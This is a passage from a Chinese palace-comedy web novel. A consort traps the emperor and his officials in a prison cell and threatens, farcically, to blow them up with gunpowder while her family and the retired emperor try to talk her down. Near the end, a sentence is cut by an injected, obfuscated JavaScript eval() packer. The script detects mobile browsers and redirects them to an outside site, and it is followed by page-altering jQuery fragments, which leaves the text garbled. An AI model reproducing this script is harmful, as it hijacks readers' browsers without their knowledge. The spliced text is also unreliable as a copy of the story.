陛下尽可看着贵妃会否因此妥协?倘若用老臣和臣弟不够,陛下尽管把霍家人全部扔进刑部大牢,明摆着的事,老臣何至于欺君,霍家若能劝住贵妃又岂会不愿?” 嬴忱璧心底有丝丝动摇但面上绝无可能苟同:“贵妃岂会如此冷情冷血?” “陛下,不是贵妃冷情,是霍家人的秉性、臣父的教育如此。”霍秦川说着瞟瞟霍海啸,霍海啸代替老爹具体解释:“禀陛下,霍家很重骨肉亲情,同样自私冷血彻骨。 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短短数十息时间在众位各自的聚精会神中过得尤为缓慢,最终,皇帝收起阴冷,站起来带他们出宫去刑部。而皇帝刚出宫门,贵妃和皇帝前后出宫的消息即在内廷四散。 嫔妃、太妃,谁又在意霍贵妃纵马出皇城有失体统,不过是或看热闹或想找乐子。 “刚传进宫里的消息,今早穆国公都让他的夫人和长媳带着太医去接他那位娉姨娘了,这样的心头好生的女儿居然还只是个六品秀仪,太掉价了,怎么着,霍秀仪都该在选秀前至少升到正四品才能配得上她姨娘的得宠呀,朱姐姐您说是也不是?” 圣人禅位前,庄太妃和鞠太妃位居一品的淑妃位和贤妃位;圣人禅位,她们两位顺理占据两座太妃宫殿中的主殿。而宁寿宫和慈寿宫殿阁群中处第二好的殿阁则各自由小朱太妃和她堂姐朱太妃占有,小朱太妃在授康二十年进宫,还未满三十岁。 在圣人禅位时她还只是正四品婕妤,又如何?以圣人对昌隆侯府的厚待恩泽,霍太后对这样点小事都没理会过,同住宁寿宫的太妃们谁敢不长眼地多怨出个字。 几个依附小朱太妃的太妃们看过皇宫最新的热闹后过来说话,小朱太妃对着这提议随意地冲伺候在身侧的一宫婢使个眼色,宫女会意屈膝,施礼告退去办事。 “唉,朱姐姐,咱们被裁剪宫婢都半月了,圣人何时让太后给咱们把宫婢补上呀?妹妹们现在就六个奴婢连使唤都不够,才几天呀您看妹妹的手都粗了一圈了。” 小朱太妃现有十二名宫婢伺候,不是太上皇给她恩典而是她堂姐拨给她用的。她堂姐比她年长九岁,做太妃以来常吃斋念佛过得简朴;她嫌奴婢少,堂姐就从她自己那里拨出六个宫婢来派给她用,现如今她堂姐身边就剩十个使唤的。 “皇帝将圣人劝住了,两三个月内都不用想了,下半年再说吧。”小朱太妃嫌她矫情:“你都三十岁的老太妃还会有谁来看你的手,有什么可在意,手粗就粗吧。” “是,姐姐。”何太妃委委屈屈应,曹太妃忙笑吟吟打圆场:“嗳,朱姐姐,江南的秀女昨日就抵京了吧,四月十六就要秀女大选,各地的秀女在选秀前三日必会抵达京中。这五六日里秀女们陆陆续续得都要来了,京中可要热闹了,贵妃纵马出宫莫非与此有关?” “人家到底是姓霍的,中意的是凤位,能那么小家子气地盯着几个秀女吗?” “是,姐姐教得是,但…”曹太妃意有所指:“新进来批嫔御,到底要有用才好呀。” 小朱太妃闻言对身边另个婢女吩咐:“去把昨日侯府送进宫的花笺取来。” 宫婢屈膝应是,很快将小朱太妃要的花笺取来呈上,小朱太妃随手将东西扔在石桌上,腔调懒散:“江南秀女的名单全在这儿了,想看就看看吧。”语毕,得一番奉承后,她冷笑:“值当什么厉害,就江南巡抚识趣,山东、荆湖、巴蜀竟都没个识抬举的巡抚。” 依附她的几位太妃识趣禁言,还是曹太妃再缓和:“我刚还想和姐姐说呢,姐姐这儿的碧螺春真好喝,比起贡品怕是都不差多少了,姐姐能否送我们二两解解馋?” 其他太妃们纷纷附和,小朱太妃也没故作鄙夷不过是她对她们的优越感一直很强:“瞧你们这小家子气,想要就拿一罐走吧,还有,不是比贡品差,这就是贡品碧螺春。” 贡品碧螺春?听众们面面相觑,刚建议怂恿霍秀仪闹穆国公帮她晋位份的孙太妃踌躇:“姐姐,妹妹们没听说圣人和陛下给姐姐和侯爷赏赐碧螺春呀,这贡品碧螺春是……” “是姑苏府尹孝敬给我父亲的。”小朱太妃不屑:“不就几盒茶叶,瞧你们这胆小样,皇帝知道又如何?过两年父亲在福建待腻了想重新回京里来,别说六部尚书了,就算是相位也都只有任我爹挑的份儿,一点子贡品能值当什么呀。” 她们在庭院里品茶闲谈,石桌旁的海棠花树绽放浓烈,花瓣在满盛偏西的日晖中泛黄。 皇城外,刑部大狱的刑讯室内,正徽帝嬴忱璧率众抵达时刑部左侍郎霍漓江靠墙站着,他的贵妃闺女正握着柄巨斧挥动着在试手感,他见到皇帝即跪下请罪。 霍灵渠威武得连个眼神都没给皇帝,自顾自试斧头的手感。 晏霁之默默别开眼,陪着陛下过来的刑部尚书同请罪,嬴忱璧都没空搭理,只喊贵妃:“贵妃在做什么,这种利器岂是贵妃能碰得的,还不快放下。” “陛下放心,我练过刀枪,握斧头的本事还有,不会甩出斧子卡着您皇帝的脖子。” 穆国公霍秦川默默地率众跪下请罪,嬴忱璧深呼吸又握握拳平复,把多余人等遣退,只留晏霁之和霍家三位,再吩咐:“贵妃把斧头放下,跟朕回宫。” 霍灵渠转过身把巨斧放回刑具架上,仍然只顾挑兵刃,对皇帝的命令当耳旁风。 嬴忱璧往前迈出步,威逼道:“贵妃若再胡闹,朕可真要处置霍家了。” “你想处置就处置啊,有谁拦着你吗?”霍灵渠又选中柄长刀,没转身,退后几步,面朝刑具架背对着皇帝耍长刀,晏霁之真想同情皇帝,嬴忱璧不再退让:“霍海啸拿长鞭来,贵妃若不肯认错,你就鞭打兴献侯直到贵妃认错。” 霍秦川总觉得他也逃不掉要被鞭打的命运,在心里骂霍海啸个混账竟敢鞭打亲爹。 霍海啸镇定站起来,刚领旨意,还没走到刑具架前拿长鞭,背对着他们的贵妃就将一条长鞭往后扔过来,皇帝嬴忱璧猛地眼皮跳下。 霍海啸平静弯腰拾起长鞭,一纸球滚进眼底,他把纸球连同长鞭一起捡起来,瞟眼向他扔纸球的叔叔,当着皇帝的面展开纸条。 按贵妃的要求,刑讯室墙角放着两桶火药,贵妃在不久前又昧下了刑部的醉骨香,臣悄悄把醉骨香换成了安神香,贵妃应该已经把她以为是醉骨香的安神香点上了。臣告诉贵妃,一百个数内,吸入醉骨香的人就会瘫软倒地只能任人宰割,时间差不多了。 霍海啸勉强绷住把纸条给皇帝看,嬴忱璧被憋得不行,狠狠瞪向兴献侯,霍漓江很无辜地指指霍贵妃,然后装作瘫软倒地。霍秦川蹿过去瞟眼,利索地跟着假装。 晏霁之凑过去看纸条,然后真郁闷:“贵妃,你做了什么?” 嬴忱璧狠狠握拳,憋屈地坐下来装瘫软。霍海啸和晏霁之自然许多,霍灵渠捧着香转向他们时面对的就是五个瘫倒在地能任由她掌控的男人,她把香按在石板地上掐灭,冷笑道:“这个叫醉骨香,你们来之前我找到的,皇帝过来后我就点上了。” 霍灵渠指向放在墙角落的木桶,对着皇帝简直有种翻身做主的酣畅痛快:“看清楚,我两桶火药都备好了,我看你变成软骨头还怎么跑?待我把你爹叫来,看我不炸死你们。” 嬴忱璧甩过头宁愿面壁,第一回不想看见霍贵妃。晏霁之抬手捂脸,他都不想看见她。霍漓江和霍海啸双双装木桩不凑这热闹,霍秦川装装苦口婆心陪贵妃玩玩:“娘娘,您就不要再胡闹了,有老臣在,老臣必定拼死保护陛下,您想炸就炸死老臣吧。” 霍灵渠被牵引着看向她大伯,琢磨下,从刑具架上重新取出长刀来,拖着长刀走到伯父面前,她握着刀柄,对着霍秦川比划比划:“这样吧,你们就装有刺客来将你们重伤,我给你们划破衣裳涂点血,再让人把你们抬去外面,你们就装重伤昏迷吧。” “娘娘啊——”霍秦川还想再演时魏王来了,他连忙把事情告诉魏王再要求魏王护驾,把贵妃控制住救陛下于危难之中,贵妃幽幽看向这不速之客,魏王:“……” 魏王果断装瘫软倒地,晏霁之表态:“贵妃,您撤离会儿,我们商量个两全之策。” “哼!!”霍灵渠搁下长刀,取来铁链把皇帝绑住,带魏王走掉。 真不知道她又绑个铁链是什么意思,晏霁之扶额。正徽帝嬴忱璧手背青筋暴起,穆国公霍秦川正想表表衷心,皇帝自己就把铁链甩掉了,他只好略过,琢磨咋样请罪。 嬴忱璧走到墙角落打开两只木桶盖,发现居然真是火药,恼怒得抬脚就把木桶踹翻。 刚站起来的四人即做跪地状,正徽帝嬴忱璧火大得在刑讯室内来回走几圈,下令道:“朕给你们三天,不,五天,五天内你们把贵妃劝好,否则朕唯你们是问。” “陛下您将老臣和臣弟都赐死吧。”霍秦川道:“这是唯一能挡住贵妃的法子了。” “穆国公?!”嬴忱璧咆哮警告:“不必再考验朕的耐心,朕的耐心磨尽了。” 92. 第92章 君心难测,君威莫犯,被皇帝记仇记恨是件极其危险的事。 穆国公若还能有得选又哪能愿意让皇帝给他记这样笔黑账:“陛下,此老臣肺腑之言,绝没有蒙蔽圣听之意。老臣斗胆僭越,将心比心,老臣甚是明白您认为臣和贵妃当前作为的意图只在胁迫您;假使臣遭遇类似的事,臣亦不会相信而只会怀疑。 但眼下,即使冒着陛下您雷霆大怒,老臣也得禀奏陛下,贵妃是认真的,很认真,虽然贵妃的行为很像在闹着玩儿,但依照贵妃的性情能撑起她的行为,这就不是假的了。” 年五十的穆国公霍秦川注视着还不到三十岁的皇帝,眼中盈满苦涩硬是将稍显对抗的侵压转化成凄哀恳求:“陛下试想想,在授康二十一年时贵妃就能回家了。 十多年,但凡贵妃的心有过动摇,她早已回霍家更不会还能如此活泼。假若陛下和贵妃不是旧识,第一面结识,您相信贵妃背负着血仇颠沛离家十多年吗,您凭第一面的印象不会认为那是富贵人家娇养出来、不知人间疾苦的娇娇儿吗?” 正徽帝嬴忱璧微愣,贵妃……贵妃的性情就在他眼皮底下,他、他没法反驳。 霍秦川再接再厉:“陛下,贵妃童年时在霍家过得幸福满足且纯粹,这已然奠定贵妃人生的基调;贵妃在童年里得到过的疼爱,护得住她历经磨难后仍怀揣对人性的纯善和信赖,支撑得住贵妃淡看往后人生中的仇恨,仍然快乐生活。 贵妃的纯粹又令她的想法极其简单,陛下看贵妃,在她还认为仇家是佟氏和佟家时,她想要的报仇就是砍死佟氏,报仇于她便是如此简单。 这仇可曾有影响过贵妃的生活吗?在贵妃身上都找不到她的恨。老臣斗胆问陛下,倘若您和生母被掳劫囚禁多年,借生母病逝的机会您才得以逃脱,您能云淡风轻吗?” 嬴忱璧定定看他眼,复而挺胸闭眼,染黄的阳光斜照过铁窗口,参差的明亮令刑讯室陷在半明半晦的错乱中,皇帝的身形偏在这方小天地里挺拔得格外伟岸高俊,君王睥睨天下的气势陡然滋长,可惜嬴忱璧拢在背后握成拳的右手破坏了他的泰然。 霍秦川在心底吁口气,老脸愈显诚挚:“陛下,贵妃很简单,贵妃的同归于尽也确实像在闹着玩儿,谁把同归于尽做的像她这般堂而皇之蹦蹦跳跳的? 可结合贵妃的性情,这还真就是贵妃能做的事,让她苦大仇深,她也做不来呀。陛下更轻看贵妃的坚韧错算贵妃的潇洒了,老臣敢问,陛下觉得贵妃有多坚韧多潇洒?” 嬴忱璧沉默,沉默更像出自他的肺腑般在他周身扩散蔓延。 霍秦川自问自答:“颠沛离家十六七年啊,旁观者的感触再深也不过是几个字,贵妃可是实实在在每一天过下来的,十多年四千多个日夜啊! 娘娘她该有多坚韧多潇洒才能认定不回家就不动摇,认定将来再报仇就能在报仇前顾好自己生活不让仇恨影响她?老臣自问做不到,陛下您能做到吗? 贵妃能做到是她活得够纯粹,这份纯粹令灵渠的想法和处世态度都极简单,想做就做,认定就做,灵渠的坚韧又使得旁人想动摇她的信念难于上青天;故此,贵妃的一系列行为以她的性情来推完全推得通,那么这就不是贵妃在胡闹了。” 穆国公霍秦川犹若卸下重负般认道:“陛下恕罪,不是霍家不愿意劝住贵妃,实在是除非以霍家的生死存亡来威胁,否则便不可能再挡得住贵妃决意要做的事。” 刑讯室安静极了,晏霁之心里自嘲苦涩,枉他和霍灵渠前世今生十二年多,竟还不如穆国公他们只凭霍灵渠童年在霍家的八年就对她看得透彻,无怪乎他至今没得到霍灵渠的心,霍灵渠回归霍家后和父兄们亲近如故仿佛这十六年的阻隔不存在。 嬴忱璧仍然不语,冷寂得像雕塑出来的神像。 霍秦川眼见胜利在望,憋坏戳戳皇帝的心窝:“陛下,老臣斗胆再问,贵妃与您亲厚吗?贵妃若真想胁迫谁,总该胁迫她自觉她耍寻死腻活有用的人,在贵妃心中,陛下是吗?贵妃倘若意在胁迫,陛下觉得贵妃会跟您闹吗?” 嬴忱璧唇边泛起苦味,倏然,皇帝他大步流星往外走,跪地的四位没犹豫起来尾随着,他们一路勘察,寻至魏王和霍贵妃在的空囚室附近暂停住脚步。 魏王的声音传出来:“我还没见识过谁想同归于尽能像你这么兴奋。” 囚室内,霍灵渠讶异:“我兴奋吗?” 魏王无语反问:“你不兴奋吗?” “哦,可能我是高兴的。”霍灵渠声线轻快:“皇帝仗着他是皇帝就逼着我进宫还想把我困死在皇宫里,还很可能想害死我和我霍家;他爹也就是你爹做的坏事更不用说了,我很快就能炸死他们再也不用受他们欺压,多让人高兴的事,我当然高兴呀。” 话音未落地,正徽帝嬴忱璧踹开虚掩着的铁门,室内的两位循声而望,魏王见到这弟弟很平静得站起来颔首问安,霍灵渠美眸圆瞪:“你、你们……” 霍海啸解释下,霍灵渠恶狠狠瞪向胳膊肘往外的爹,霍漓江觉得自己真无辜。 “贵妃,跟朕回宫。”嬴忱璧道,霍灵渠犹似本能般地抱起条长凳跟皇帝对峙,目睹她这行为的几个男人都险些没眼看,霍秦川劝:“娘娘,莫再胡闹了,把长凳放下吧。” “我警告你啊霍秦川。”霍灵渠利索极了:“你和霍漓江霍海啸要是谁敢过来,我就打爆你们的头,我可不是跟你们说着玩的。”她可丝毫没想过她做不到,对她千依百顺的父亲若能顺从让闺女暴打,大伯和堂哥呢?晏霁之想,大约也是源于对她足够疼爱吧。 “娘娘啊,”霍秦川还想演演苦情戏时被皇帝打断了:“贵妃,跟朕回宫。” 霍灵渠戒备地握紧长凳,魏王真搞不懂她抱着条长凳有什么用,嬴忱璧走上前步告诫:“贵妃,把这条凳放下,跟朕回宫,别逼朕跟你动粗。” 该如何逃出皇帝的魔爪再施行她的计划?霍灵渠抿抿唇还没思量好,皇帝数一,她受惊般心跳下倏然把长凳抓紧;皇帝数二,她脑瓜急转;皇帝数三,看贵妃似乎还想负隅顽抗,不再跟贵妃磨嘴皮,上前去欲带贵妃走,霍灵渠见此连忙跑起来躲避。 这是间干净且封闭的铁牢,四面墙,唯有临靠过道的墙壁开着扇铁门。 霍灵渠跑半圈对上像门神似的四人挡路,当机立断:“你们让开,我自己走。” 嬴忱璧点点头,霍海啸他们让路,谁觉得贵妃还能有转圜的余地呢?或许就是太悬殊的强弱对比下令他们全都把防备降低到零了,霍灵渠走出铁牢的刹那即以迅雷不及掩耳之势关闭铁门锁上铁锁将这六人关在铁牢里,这群男人:“……” “我现在就去把两桶火药都拖过来,看我今日不把皇帝和太上皇都炸死,哼!” 霍灵渠甩下豪言就走,霍秦川伸长手臂向铁门外都没抓到片贵妃侄女的衣角,忒想哭。转头看向他们,见皇帝烦躁地拽过囚室里仅剩的长凳坐着,魏王闲适地退到墙边的炕床坐,霍海啸靠墙站着而霍漓江靠在墙边坐着,晏霁之竟都闭眼盘腿打坐起来装腔了?! 他感觉自己真操心:“王爷,这附近还有什么人吗?” “没有,烦请穆国公撑着嗓门喊喊吧。”魏王就差没把看戏两字刻在脑门上了。 霍秦川绝对不想做这么丢人的事:“陛下,老臣自信贵妃独自是不可能把我们搞定的,家丑不可外扬,老臣以为还是等娘娘回来后老臣再哄娘娘开门吧。” 嬴忱璧没应允没否决就是不说话,懒得再废话了,穆国公霍秦川自然当皇帝同意了。 度日如年大概是不慎被关在铁牢里的他们最真实的内心写照了,哪怕魏王这位看戏的。 霍秦川眼珠东转转西转转,瞧着霍海啸和晏霁之俩还是副强装沉寂的死样,他琢磨想找魏王侃侃消遣,瞥眼皇帝还浮躁着,他想还是算了,没事别聒噪磨皇帝的耐性了。 他苦逼地修耐力,望穿秋水般望见贵妃侄女的身影,他喜极而泣:“娘娘,贵妃,您现在立刻麻溜把铁门打开,老臣保证誓死帮您拦着陛下的处置,否则您只能自己扛了,知道你已经犯下多大的罪了吗?现在迷途知返还来得及,否则当心你妹妹!” 霍灵渠拖来桶火药放在铁门前,闻言倏然抬头,仿佛听到个天方夜谭:“你威胁我,你在威胁我,霍秦川你敢威胁我?”她若炸毛般掀开木桶盖,随手抓起把火药就往铁门里扔:“让你威胁我,我让你皮痒了竟敢威胁我,再威胁我,我就把你嘴巴粘起来。” “娘娘,贵妃别再扔了!!”穆国公霍秦川跳脚,皇帝和魏王连同晏霁之全部被他殃及,晏霁之被破功地抬手挡掉扔过来的碎小黑块物,魏王差点想对骂,那女人及时住手走掉,他当然找霍秦川发泄:“穆国公,这就是你所谓的你能哄贵妃把铁门打开?” “魏王爷,您就可怜可怜老臣不要再往老臣心里的创伤上撒盐巴了。”霍秦川装腔作势地向皇帝卖惨:“陛下您是不晓得,家父和太后极其娇宠贵妃,贵妃自幼就是骑在老臣脖子上长大的,老臣在贵妃面前只有欺压霍海啸的份儿,贵妃她实在不怵老臣呀。” 嬴忱璧问:“那么穆国公可还有哄贵妃打开铁门的办法吗?” 霍秦川当即报仇:“捅死霍漓江,捅个半死都不行,必须只剩一口气才能奏效。” 霍漓江懒得搭理老兄连个眼神都没甩,嬴忱璧听懂了:“穆国公这是找消遣呢。” 穆国公霍秦川当即表忠心大有副搭台唱戏的架势时被皇帝喝住,皇帝宁愿安静。 于是,霍灵渠拖第二桶火药来时顺畅多了,她又陆续拿来蜡烛铜油坛刀枪铁链,嬴忱璧瞧着真不放心便解掉穆国公的禁言,霍秦川欲再劝贵妃要迷途知返时瞟见晋王和薛述聪,顿时像见到救星般高喊:“晋王爷,驸马爷,救驾啊! 贵妃和陛下吵架,一言不合就闹着要同归于尽,你们看贵妃这两桶木桶里装的全是火药,老臣可没说笑,要出大事了,你们赶紧把贵妃控制住、找刑部尚书拿钥匙,救驾啊!” 打算来看戏的两位:“……” 霍灵渠戒备地盯着冒出来的两个意外,晋王突然不知该说点什么,霍秦川加把劲儿喊:“晋王爷、驸马爷,真的真的,老臣没有跟你们说笑,你们打开木桶盖看看就知道了,陛下现正在危难中,现在可是王爷和驸马爷向陛下表忠心的最佳时机,赶紧救驾啊。” 薛述聪想过去看看,霍灵渠当即护住她的火药桶,像老母鸡护小鸡崽似的,他赔笑举手讨饶后退。晋王瞟瞟铁门内的皇帝和魏王,再瞟向铁门的铁锁,乐得打哈哈:“本王现在就去通知刑部尚书,穆国公撑住,护驾的大任暂时就交给你了。” 晋王脚底抹油开溜,薛述聪心说这事难道还能瞒得住吗,你给皇帝卖个人情又能怎样?正当他犹豫时,霍灵渠笑道:“驸马爷,您帮我请太上皇来做个和事佬吧。” 在铁门内的正徽帝嬴忱璧和穆国公连同霍海啸和晏霁之忽然有点激灵,魏王莫名忐忑,大概就是除霍漓江以外都不得不正经点的状态。 薛述聪愣下就应了:“呃,行,好,贵妃言之有理,我这就去请圣人来。” 霍灵渠含笑谢过,目送这位驸马爷消失在视野,她将这些东西归整好后坐下来歇会儿。她想着她的规划和布置是否还需再改善时,耳畔炸响起皇帝的威胁:“贵妃把铁门打开,朕保证对今日种种不予追究,贵妃想救护国公府,朕答应你会从长计议。” “否则就要追责赐我和霍家死罪是吧?”霍灵渠淡定抓把火药往铁门里扔,反威胁道:“甭管你们谁吵我,我就往铁牢里扔把火药,你们自己看着办吧。” 霍秦川识趣去面壁,晏霁之站起来,找处不会被殃及的墙壁靠。 正徽帝嬴忱璧绝不想耗到真让太上皇来处理,重训道:“贵妃到底是想救护国公府还是想弑君,贵妃若只是想救护国公府又何必把事情闹这么大,难道你想把事情闹到不可收拾让朕不得不疑心霍家的忠诚吗?贵妃,适可而止!” 霍灵渠再抓起把火药瞄准皇帝往铁牢里扔,正徽帝嬴忱璧敏捷闪避,烦躁道:“贵妃,真想让朕惩治霍家吗?即刻把铁门打开,否则朕第一个治你父亲的罪。” “不用威胁我,在这间铁牢里,你弄不死我爹,而我绝不会让你有机会再走出这铁牢。”霍灵渠容颜沉肃眉目决绝而眼中流淌的是恨:“我才知道原来我这样厌恶被掌控操纵,厌恶到我愿意不惜拿命来抗争,原来人世间最公平的是老天爷让每个人都会死。 你是皇帝,你不顺心就能治人的罪,你看看你现在多有皇帝风范,到底是你不值得相信还是权利能让人扭曲,你才做几年皇帝啊就让人没办法再相信你了?” 嬴忱璧只觉心头被针刺下,浮躁的心突然就冷却了:“贵妃是因不相信朕吗?” “你值得我和霍家相信你吗?”霍灵渠讽刺:“你对令愔夫人宠吧,纤若都劝我,将来我能登凤座都不要得罪她,结果你跟我说你跟她常常话不投机。 郭皇后在今年以前就在盼着你驾崩吧,可在半个月以前,你想过治她的罪吗?你自己都说你反思这几年对郭氏有多好,发现你对她好得像是你在犯贱啊。” 霍灵渠哈哈笑起来,眼神倏然凝成锋利冷冻的冰锥:“可你对我、你对霍家呢?你是姓霍的养大的吧,霍家曾把自家掌珠许配给你过吧,霍家对你好过吧,得到的就是在你做皇帝以后你对旁人有着用不尽的宽容而你生气恼怒时率先就想着治霍家的罪?” 伴着罪字的音消散,铁门里外寂静得若被僵住,连细微的呼吸都像能令人心尖儿颤。 刑部尚书带人赶来救驾,霍灵渠利索点燃蜡烛威胁:“退,往后退,退到十丈之外,要不然我就把火药点了,大家同归于尽,不想死的就给我滚出去。” “陛下?”精瘦精瘦的刑部尚书头大,嬴忱璧垂眸缓缓道:“救驾,不得伤着贵妃。” 在不能伤及守着两桶火药的霍贵妃的前提下想救驾岂不是比登天还难吗?刑部尚书跟右侍郎商量,无奈下欲用迷魂香,右侍郎提个难点:“可这也不是一息时间就能晕倒,贵妃若是在昏迷前做出什么要命的事来,大人,咱们谁都担待不起呀。” 言而总之挟持皇帝的贵妃是位皇帝陛下自己还愿意捧着的祖宗,伤着她更不行,这样的救援可想而知会有多缓慢。老尚书跟贵妃把好话说尽了,体验把霍贵妃有多顽固的辛酸,他仿佛刚想起又仿佛认清现状般地给陛下和霍贵妃送茶水糕点,慢慢耗吧。 同僚们陆陆续续赶过来,刑部尚书毫不吝啬地让同僚们同担救驾的重任。班丞相更是刚到就被众推与霍贵妃谈判营救陛下,激动得他差点老泪纵横,在心里骂霍家混蛋啊,霍秦川绝对是故意把自己也关在牢房里好省略下这该由他来担的糟心事。 夕阳红遍落幕迟,火烧云灼热天际,太上皇浩浩汤汤来到围困皇帝的刑部。 不少官员随同太上皇前来,霍巨浪陪着他祖父挤在队伍中,还有霍舒窈和霍雄鹰等人,室内堵得没位置才留在外面围观,天啊,他头痛啊,不,他头晕啊。 相隔着三丈多的距离,太上皇站在困着皇帝和魏王的铁牢前,见贵妃横坐在长凳上,揣着宝刀握着火把,凳脚边放着据说装着火药的两只木桶,一副‘此路是我开,此树是我栽,想从此路过,留下买路钱’的山匪头头的混不吝德行,像个什么样啊?! “皇帝?!”太上皇被激怒了。 困在铁牢里的六位规规矩矩给太上皇请安,霍灵渠仍像个没事人坐着。正徽帝嬴忱璧给父亲请安过后又坐下来了,认命般沉默,不搭理他太上皇老爹。 “圣人您息怒。”霍秦川苦逼地顶上:“陛下和贵妃吵得太凶,年轻人气盛,两个人现在就较着劲都不想说话了,您就当他们幼稚不懂事,跟他们计较太不值当了。” “说,皇帝和贵妃在闹什么?”太上皇看着俩混不吝的德行真是气不打一处来。 “呃…陛下不慎说出贵妃是残花败柳还死活不愿意道歉。”霍秦川现编,嬴忱璧沉默,高冷得放弃发言了。围观的大臣们谁都没异样,太上皇没好气:“还有呢?” “呃…贵妃想着翁美人生产在即,既然她将抚养翁美人的皇嗣,这养一个是养,养两个三个也是养,皇后娘娘明年正月就会辞位离宫,不差这几天,贵妃想干脆把俩嫡出的皇嗣和新出生的皇嗣同时抱到关雎宫养省得明年再挪腾回,陛下不同意。” 霍秦川料想没人会拆台便壮着胆编:“陛下非但不同意,还想在郭皇后辞位离宫修行后让令愔夫人抚养大皇子,杭婕妤抚养二公主。陛下和贵妃争执,在争执中不慎说出贵妃是残花败柳,贵妃让陛下给她道歉,陛下死活不愿意。 士可杀不可辱呀,贵妃自觉可是陛下要封她做贵妃而非她向陛下谄媚求来的贵妃位,即使她非清白身进宫也必须得到与众后妃等同的尊严,陛下绝不能这样侮辱她,贵妃要求陛下必须道歉,陛下不愿意,跟贵妃闹凶了,贵妃就闹着要同归于尽。” “皇帝?!”太上皇高声斥:“贵妃一个女人家,你哄哄贵妃又怎么样?” 嬴忱璧别过头不理会他爹,霍秦川赔笑打圆场:“圣人,是贵妃不懂事,陛下没和贵妃计较已是皇恩浩荡了;霍家会好好规劝贵妃,您先救陛下和魏王殿下吧。” 太上皇勉强嗯声,让国丈把贵妃请开。霍擎拄着拐杖由霍巨浪扶着上前商量:“娘娘,您看老臣的情面就给霍秦川三天吧,三天内让霍秦川劝动陛下给您赔个不是。” “一天!”霍灵渠要求:“最多一天,就一天。” “好,一天,一天就一天。”霍擎牲畜无害道:“既然谈妥了,娘娘您挪挪地儿吧。” “让圣人单独过来吧,让我挟持住圣人。”霍灵渠防备道:“霍漓江已经耍过我一回了,我很难相信祖父你现在不是在耍我,我觉得很有可能呀,哄着我把皇帝放了就不了了之,你们又不是做不出来,我觉得我挟持住圣人比我相信你们有保障得多。” 霍擎板脸:“祖父能跟霍漓江一个德行吗,祖父能是没有信誉的老头吗?” “看情况吧,眼前的情况,你们就是不能相信的。”霍灵渠清醒戳破,霍擎老太爷当即感到大受侮辱般谴责贵妃孙女:“贵妃您自个儿觉得士可杀不可辱,您岂能这样侮辱老臣?您要是不给老臣道歉并表示相信老臣,老臣绝不能罢休,老臣死给你看。” “去死吧!”霍灵渠对呛,呛得嬴忱璧眼皮打哆嗦,围观的众大臣乃至连太上皇都觉得不可思议,贵妃真的是在对她祖父说‘去死吧?’没待他们多想,贵妃就道:“自家糟心烂肺的玩意儿谁不知道谁呀,我信你个邪?” 好多人舒口气想:真是霍擎养出来的宝贝孙女,就是知道她祖父是什么货色。 霍擎无缝隙接:“霍巨浪你给祖父去撞墙,不撞到你贵妃妹妹心疼你,你就不准停。” 霍巨浪:“……”我的无妄之灾啊,我不做这样的傻逼事。 好在霍灵渠及时解救堂哥的困境:“不用跟我装腔,我没兴趣看你们耍百戏。这样吧,其他人全部离开,让圣人给我和陛下做个和事佬,谈妥了,我就放人。” 这女人不会真想玩把真的吧?魏王真忐忑,假若她能把太上皇和嬴忱璧都关在铁牢里,她在外面守着堆火药和铜油,一发疯?这女人敢不敢发疯,他突然没底啊。 “贵妃!”嬴忱璧同样没底,他赌不起,因此只能迅猛截住事态,抢在最前控住情况:“这点小事劳累父皇已是我们的不孝,岂可再累及父皇忧虑伤神?此事,我们自己协商吧。你让朕思量两日,两日后,朕定会给个让贵妃满意的答复。” “陛下若过两日就能给我交代怎会现在不能给我交代?”霍灵渠戳破:“过两日和现在能有什么不同?没有,你根本现在就能给,过两日分明是你的诡计。” 嬴忱璧无奈:“贵妃,你不能这样说风就是雨的,朕现在累了,没法想事情。” “你就坐着能累什么累,何况只是受累又不是变傻怎么可能不能思考,你还能不是在耍诡计吗?!”霍灵渠推开木桶盖抓起把火药就往铁牢里扔,这犹如雨点般袭落的架势令众多看客们吸凉气也令魏王都要喊:“贵妃停手,你当心火把!” “贵妃?!”皇帝嬴忱璧和他太上皇老爹同时高吼,穆国公霍秦川捂把脸,他被班丞相拽着跟侄女磨嘴皮很累了,累得都不想挣扎了,等皇帝算总账吧。嬴忱璧善后道:“父皇,都是朕骄纵贵妃太过累及您操心了,您放心,朕会管教贵妃,您和卿家们都回吧。” “不行!”太上皇尚未表态,闹事的霍贵妃就扬扬火把叫嚣:“圣人不能走,你看看你,你整个儿就是个虚伪,你根本不能相信,我还是该跟你同归于尽!” 闹得太上皇都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459284|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不得不吼她:“贵妃!你当心明火,你当你这是在闹着玩儿呢?!” “谁说我闹着玩儿,谁敢怀疑我不是认真?!”霍灵渠扬扬火把叫嚣,再再抄火药往铁牢里扔还是不间断地扔,看得大臣们头皮发麻,皇帝头疼,晋王饶有兴味、魏王则懒得理了随她折腾,霍巨浪想管管被祖父拦住,霍擎老太爷淡定看。 太上皇只训皇帝:“皇帝?!还成何体统,传出去都要被番邦笑掉大牙了。” “父皇息怒,朕即刻就把事情处理了。”嬴忱璧向父皇赔个不是再令贵妃停下,挫败道:“好,朕今夜定然把交代想好,明早给贵妃答复,贵妃把铁门打开吧。” “既然你今夜能把事情想好,你作甚还要拖到明早再给我答复?”霍灵渠顺理成章道:“你就待在囚室里思量好,当场给我答复好了呀。” 嬴忱璧脑壳疼:“当着太上皇和众卿家们的面,朕岂会言而无信?贵妃莫再闹脾气了,朕保证明早会给答复,否则随你想做什么朕都不会阻拦,朕说到做到。” “你有何不能在这铁牢里把事情想好再当场给我个答复?”霍灵渠狐疑地打量他几眼,忽然福至心灵:“你们是憋尿了是吧,我给你们只木桶,你们小解完再叫我。” 晏霁之霍然跳起吼她,魏王和皇帝差不多同时如触电般斥:“贵妃?!” 霍巨浪愣被逼得脑门浮出三条黑线,霍秦川默默苦逼垂泪,太上皇嫌得都不想再搭理,修炼得不错的大臣们保持没异样,晋王想调侃下都算了,这闹剧真没什么可看得了。 